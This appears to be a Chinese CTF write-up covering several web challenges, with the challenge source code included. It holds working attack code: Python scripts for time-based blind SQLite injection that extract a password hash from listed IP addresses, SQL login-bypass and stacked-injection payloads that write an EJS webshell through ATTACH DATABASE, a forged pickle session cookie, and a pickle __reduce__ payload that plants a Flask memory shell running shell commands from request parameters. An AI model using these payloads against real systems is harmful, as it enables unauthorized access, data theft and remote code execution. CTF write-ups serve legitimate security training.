前言
qwb 前瞻
Web
ez_unserialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class A {
public $first;
public $step;
public $next;
public function __construct() {
$this->first = "继续加油!";
}
public function start() {
echo $this->next;
}
}
class E {
private $you;
public $found;
private $secret = "admin123";
public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}
class F {
public $fifth;
public $step;
public $finalstep;
public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}
class H {
public $who;
public $are;
public $you;
public function __construct() {
$this->you = "nobody";
}
public function __destruct() {
$this->who->start();
}
}
class N {
public $congratulation;
public $yougotit;
public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}
class U {
public $almost;
public $there;
public $cmd;
public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}
public function __invoke() {
return $this->there->system($this->cmd);
}
}
class V {
public $good;
public $keep;
public $dowhat;
public $go;
public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}
unserialize($_POST['payload']);
?>
链子:
ezsignin
注册和登录
注意到注册时 username 用单引号会返回注册失败,两个单引号则正常,且只有 --
能注释,说明是 sqlite
那么就是 insert 注入,猜测后端大致如下
insert into users(username,password) values('{username}','{password}');
在 username 处注入 ',payload)--+
实现闭合
import requests
import time
import random
dict = "1234567890ABCDEF~"
url = 'http://45.40.247.139:30959/register'
flag = '435245415445205441424'
num = len(flag)+1
while True:
for i in dict:
payload = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',6)) + "',(case when(substr((select hex(sql) from sqlite_master),{0},1)='{1}') then randomblob(300000000) else 0 end))--+".format(num,i)
data = {"username": payload, "password": "1","confirmPassword":"1"}
start_time = time.time()
resp = requests.post(url, data=data)
end_time = time.time()
spend_time = end_time - start_time
# print(spend_time,i)
if spend_time >= 2:
flag += i
print(flag)
num += 1
break
if i == "~":
exit("over")
爆出来的创建表语句为
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
is_admin BOOLEAN DEFAULT 0,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);
然后爆对应的 username,is_admin 列
',(case when(substr((select hex(group_concat(username)) from users),{0},1)='{1}') then randomblob(300000000) else 0 end))--+
可知 Admin
是管理员
不能用 group_concat 爆 password ,因为我们正在写入长 password ,这样会无限递归导致靶机直接 502,直接读第一行就行
最终读出来的密码是 98e32d889927abe4014282166e89a323
,此处需要逐步爆破比较稳定
import requests
import time
import random
dict = "1234567890ABCDEF~"
url = 'http://45.40.247.139:19815/register'
flag = '3938653332643838393932376162'
num = len(flag)+1
while True:
for i in dict:
# payload = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',6)) + "',(case when(substr((select hex(sql) from sqlite_master),{0},1)='{1}') then randomblob(300000000) else 0 end))--+".format(num,i)
payload = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba',6)) + "',(case when(substr((select hex(password) from users),1,{0})='{1}') then randomblob(300000000) else 0 end))--+".format(num,flag+i)
data = {"username": payload, "password": "1","confirmPassword":"1"}
start_time = time.time()
resp = requests.post(url, data=data)
end_time = time.time()
spend_time = end_time - start_time
# print(spend_time,i)
if spend_time >= 2:
flag += i
print(flag)
num += 1
break
if i == "~":
exit("over")
登进去发现一个任意文件读,先读 ../app.js
const express = require('express');
const session = require('express-session');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const fs = require('fs');
const app = express();
const db = new sqlite3.Database('./db.sqlite');
/*
FLAG in /fla4444444aaaaaagg.txt
*/
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(
session({
secret: 'welcometoycb2025',
resave: false,
saveUninitialized: true,
cookie: { secure: false },
}),
);
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
const checkPermission = (req, res, next) => {
if (req.path === '/login' || req.path === '/register') return next();
if (!req.session.user) return res.redirect('/login');
if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');
next();
};
app.use(checkPermission);
app.get('/', (req, res) => {
fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
if (err) {
console.error('读取目录时发生错误:', err);
return res.status(500).send('目录读取失败');
}
req.session.files = files;
res.render('files', { files, user: req.session.user });
});
});
app.get('/login', (req, res) => {
res.render('login');
});
app.get('/register', (req, res) => {
res.render('register');
});
app.get('/upload', (req, res) => {
if (!req.session.user) return res.redirect('/login');
res.render('upload', { user: req.session.user });
//todoing
});
app.get('/logout', (req, res) => {
req.session.destroy(err => {
if (err) {
console.error('退出时发生错误:', err);
return res.status(500).send('退出失败');
}
res.redirect('/login');
});
});
app.post('/login', async (req, res) => {
const username = req.body.username;
const password = req.body.password;
const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;
db.get(sql, async (err, user) => {
if (!user) {
return res.status(401).send('账号密码出错!!');
}
req.session.user = {
id: user.id,
username: user.username,
isAdmin: user.is_admin,
};
res.redirect('/');
});
});
app.post('/register', (req, res) => {
const { username, password, confirmPassword } = req.body;
if (password !== confirmPassword) {
return res.status(400).send('两次输入的密码不一致');
}
db.exec(
`INSERT INTO users (username, password) VALUES ('${username}', '${password}')`,
function (err) {
if (err) {
console.error('注册失败:', err);
return res.status(500).send('注册失败,用户名可能已存在');
}
res.redirect('/login');
},
);
});
app.get('/download', (req, res) => {
if (!req.session.user) return res.redirect('/login');
const filename = req.query.filename;
if (filename.startsWith('/') || filename.startsWith('./')) {
return res.status(400).send('WAF');
}
if (
filename.includes('../../') ||
filename.includes('.././') ||
filename.includes('f') ||
filename.includes('//')
) {
return res.status(400).send('WAF');
}
if (!filename || path.isAbsolute(filename)) {
return res.status(400).send('无效文件名');
}
const filePath = path.join(__dirname, 'documents', filename);
if (fs.existsSync(filePath)) {
res.download(filePath);
} else {
res.status(404).send('文件不存在');
}
});
const PORT = 80;
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
哇还有 waf,你坏死了喵😭👊
此时才发现 /login 可以直接注入 1") or 1=1--+
实现登录
访问 /upload 发现 upload 模板没写空出来了,那还说啥了,直接 sqlite 注入继续写 upload.ejs 包含 flag 就完事了,注意依旧在 /register 注入,只有这里用的是 exec 能堆叠注入
aaa','1');ATTACH DATABASE '/app/views/upload.ejs' AS shell;create TABLE shell.exp (webshell text);insert INTO shell.exp (webshell) VALUES ('<%- include("/fla4444444aaaaaagg.txt"); %>');--+
ez_blog
访客只能用访客账号登录,那么容易注意到帐密 guest:guest
返回 Token:8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94898c096c6f676765645f696e948875622e
没见过?hex 解码再用 base64 加密一下就会发现格式和 pickle 序列化字符串很像
pickletools 解一下
0: \x80 PROTO 4
2: \x95 FRAME 75
11: \x8c SHORT_BINUNICODE 'app'
16: \x94 MEMOIZE (as 0)
17: \x8c SHORT_BINUNICODE 'User'
23: \x94 MEMOIZE (as 1)
24: \x93 STACK_GLOBAL
25: \x94 MEMOIZE (as 2)
26: ) EMPTY_TUPLE
27: \x81 NEWOBJ
28: \x94 MEMOIZE (as 3)
29: } EMPTY_DICT
30: \x94 MEMOIZE (as 4)
31: ( MARK
32: \x8c SHORT_BINUNICODE 'id'
36: \x94 MEMOIZE (as 5)
37: K BININT1 2
39: \x8c SHORT_BINUNICODE 'username'
49: \x94 MEMOIZE (as 6)
50: \x8c SHORT_BINUNICODE 'guest'
57: \x94 MEMOIZE (as 7)
58: \x8c SHORT_BINUNICODE 'is_admin'
68: \x94 MEMOIZE (as 8)
69: \x89 NEWFALSE
70: \x8c SHORT_BINUNICODE 'logged_in'
81: \x94 MEMOIZE (as 9)
82: \x88 NEWTRUE
83: u SETITEMS (MARK at 31)
84: b BUILD
85: . STOP
highest protocol among opcodes = 4
那么我们只需要把 is_admin 字段修改为 true 即可,怎么修改呢,False 是 89,而 True 是 88,直接修改 hex 字节流即可:8004954b000000000000008c03617070948c04557365729493942981947d94288c026964944b028c08757365726e616d65948c056775657374948c0869735f61646d696e94888c096c6f676765645f696e948875622e
以 admin 访问 /add 发现没什么别的东西,那直接打反序列化 payload 呗
内存马直接打
import os
import pickle
class C():
def __reduce__(self):
return (exec,("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))
a = C()
b = pickle.dumps(a)
print(b)
print(b.hex())
flag 在 /thisisthefffflllaaaggg.txt
app.py
import os
import pickle
import base64
from datetime import datetime
from flask import Flask, request, render_template, redirect, url_for, flash, make_response, request as flask_request, g
import sqlite3
from werkzeug.security import generate_password_hash, check_password_hash
# 用户类定义
class User:
def __init__(self, user_id, username, is_admin):
self.id = user_id
self.username = username
self.is_admin = is_admin
self.logged_in = True
def serialize(self):
serialized = pickle.dumps(self)
hex_encoded = serialized.hex()
return hex_encoded
@staticmethod
def deserialize(hex_encoded):
try:
serialized = bytes.fromhex(hex_encoded)
return pickle.loads(serialized)
except Exception:
return None
app = Flask(__name__,
static_folder='static',
static_url_path='/banbanbannonono'
)
app.secret_key = os.urandom(24)
# 数据库配置
DATABASE = './blog.db'
@app.context_processor
def inject_variables():
user = get_current_user()
return {
'current_year': datetime.now().year,
'is_admin': user.is_admin if user else False,
'username': user.username if user else ''
}
def get_current_user():
user_hex = flask_request.cookies.get('Token')
if user_hex:
user = User.deserialize(user_hex)
if user and user.logged_in:
return user
return None
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
def init_db():
with app.app_context():
db = get_db()
db.execute('''
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
is_admin INTEGER NOT NULL DEFAULT 0
)
''')
db.execute('''
CREATE TABLE IF NOT EXISTS posts (
id INTEGER PRIMARY KEY AUTOINCREMENT,
title TEXT NOT NULL,
content TEXT NOT NULL,
created_at TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP
)
''')
db.commit()
cursor = db.execute('SELECT * FROM users WHERE username = ?', ('admin',))
if cursor.fetchone() is None:
db.execute(
'INSERT INTO users (username, password, is_admin) VALUES (?, ?, ?)',
('admin', generate_password_hash('aZPkAfnkXTm6UZKYPvhMWhRxnZENBRfB'), 1)
)
db.execute(
'INSERT INTO users (username, password, is_admin) VALUES (?, ?, ?)',
('guest', generate_password_hash('guest'), 0)
)
db.commit()
def login_required(f):
def decorated_function(*args, **kwargs):
user = get_current_user()
if not user:
flash('请先登录')
return redirect(url_for('login'))
elif not user.is_admin:
flash('您没有权限执行此操作,需要管理员权限')
return redirect(url_for('index'))
return f(*args, **kwargs)
decorated_function.__name__ = f.__name__
return decorated_function
@app.route('/')
def index():
db = get_db()
# 从数据库获取所有文章
posts = db.execute('SELECT * FROM posts ORDER BY created_at DESC').fetchall()
return render_template('index.html', posts=posts)
@app.route('/add', methods=['GET', 'POST'])
@login_required
def add_post():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
if title and content:
# 将文章添加到数据库
db = get_db()
# 查找最小的可用ID(填补已删除的ID空缺)
cursor = db.execute('''
SELECT t1.id + 1 AS next_id
FROM posts t1
LEFT JOIN posts t2 ON t1.id + 1 = t2.id
WHERE t2.id IS NULL
ORDER BY t1.id
LIMIT 1
''')
next_id = cursor.fetchone()
# 如果没有空缺的ID,使用最大的现有ID+1
if not next_id:
cursor = db.execute('SELECT MAX(id) FROM posts')
max_id = cursor.fetchone()[0]
next_id = max_id + 1 if max_id else 1
else:
next_id = next_id['next_id']
# 使用找到的ID插入新文章
db.execute(
'INSERT INTO posts (id, title, content) VALUES (?, ?, ?)',
(next_id, title, content)
)
db.commit()
flash('文章添加成功!')
return redirect(url_for('index'))
else:
flash('标题和内容不能为空!')
return render_template('add_post.html')
@app.route('/post/<int:post_id>')
def view_post(post_id):
db = get_db()
post = db.execute('SELECT * FROM posts WHERE id = ?', (post_id,)).fetchone()
if post:
return render_template('view_post.html', post=post, post_id=post_id)
else:
flash('文章不存在!')
return redirect(url_for('index'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
user = db.execute('SELECT * FROM users WHERE username = ?', (username,)).fetchone()
if user and check_password_hash(user['password'], password):
user_obj = User(user['id'], user['username'], user['is_admin'] == 1)
user_hex = user_obj.serialize()
response = make_response(redirect(url_for('index')))
response.set_cookie('Token', user_hex, max_age=86400, httponly=True, secure=False)
flash('登录成功!')
return response
else:
flash('用户名或密码错误!')
return render_template('login.html')
@app.route('/logout')
def logout():
response = make_response(redirect(url_for('index')))
response.set_cookie('Token', '', expires=0)
flash('已成功登出!')
return response
@app.route('/delete/<int:post_id>', methods=['POST'])
@login_required
def delete_post(post_id):
db = get_db()
post = db.execute('SELECT * FROM posts WHERE id = ?', (post_id,)).fetchone()
if post:
db.execute('DELETE FROM posts WHERE id = ?', (post_id,))
db.commit()
flash('文章已成功删除!')
else:
flash('文章不存在!')
return redirect(url_for('index'))
if __name__ == '__main__':
init_db()
app.run("0.0.0.0", port=5000)
authweb(Unsolved)
staticNodeService(Unsolved)
"dependencies": {
"ejs": "^3.1.10",
"express": "^4.19.2"
}
App.js
const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');
const app = express();
const PORT = parseInt(process.env.PORT) || 3000;
app.set('view engine', 'ejs');
app.use(express.json({
limit: '1mb'
}));
const STATIC_DIR = path.join(__dirname, '/');
// serve index for better viewing
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}
// static serve for simply view/download
app.use(express.static(STATIC_DIR));
// Security middleware
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
) res.status(500).send('Error parsing path');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})
// logic middleware
app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})
// Upload operation handler
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);
if (fs.existsSync(filePath)) {
return res.status(500).send('File already exists');
}
fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error writing file');
}
res.status(201).send('File created/updated');
});
});
// Server start
app.listen(PORT, () => {
console.log(`Static server is running on http://localhost:${PORT}`);
});
目标是 RCE,先看一下我们可控的东西
当路径结尾为 / 时,调用 serveIndex
// serve index for better viewing
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}
此处可以指定 templ 和要作为模板参数的 path 路径进行 ejs 渲染,但是 ejs 3.1.10
文件上传部分
// Security middleware
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
) res.status(500).send('Error parsing path');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})
// Upload operation handler
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);
if (fs.existsSync(filePath)) {
return res.status(500).send('File already exists');
}
fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error writing file');
}
res.status(201).send('File created/updated');
});
});
PUT 上传文件,路径上过滤 js 结尾、..,这样子就不好用 express 引擎解析绕过了
evil_login(Unsolved)
只有一个登录的功能点
guest:guest1234 登录
得到 hs256 的 jwt
update_it(Unsolved)
update 功能 username 处单引号直接报错
error occurred while executing ### update ycb_user set username='1'' where open_id='1'### You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' at line 1
金Java(Unsolved)
jinjava 模板
CVE-2025-59340? https://github.com/HubSpot/jinjava/security/advisories/GHSA-m49c-g9wr-hv6v